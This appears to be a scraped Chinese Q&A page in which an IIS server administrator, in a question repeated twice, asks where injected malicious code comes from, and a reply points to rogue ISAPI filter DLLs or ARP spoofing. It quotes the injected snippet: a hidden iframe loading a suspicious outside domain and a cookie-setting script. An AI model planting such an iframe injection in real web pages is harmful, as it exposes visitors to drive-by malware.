UC知道关于IIS挂马问题，紧急求助
来源：百度知道 编辑：UC知道 时间：2024/06/30 13:45:45
刚才2003服务器 IIS被挂马
我找完了所有文件都找不到，所以请求支援！
IIS挂马内容如下：
<body>
<iframe src="http://webma.qqsafe-qqservicesyydswfhuw8ysjftwf.com" height=50 width=0></iframe>
<script language="javascript">
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();
</script>
</body>
我在网上查看了相关IIS被挂马相关文章，
只有一些老的处理办法
因为我的服务器上的默认网站我已经删除
包括C:\WINDOWS\system32\inetsrv\MetaBase.xml
目录的默认iisstart.html我都已经删除
请问问题会出自哪里？谢谢赐教
我找完了所有文件都找不到，所以请求支援！
IIS挂马内容如下：
<body>
<iframe src="http://webma.qqsafe-qqservicesyydswfhuw8ysjftwf.com" height=50 width=0></iframe>
<script language="javascript">
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();
</script>
</body>
我在网上查看了相关IIS被挂马相关文章，
只有一些老的处理办法
因为我的服务器上的默认网站我已经删除
包括C:\WINDOWS\system32\inetsrv\MetaBase.xml
目录的默认iisstart.html我都已经删除
请问问题会出自哪里？谢谢赐教
1、查看IIS里面的ISAPI筛选器里面有没有被加入异常的DLL。
2、你服务器有没有安装ARP防火墙，也有可能是机房中的ARP欺骗攻击引起的。
如果你实在搞不定，可以找我。百度空间。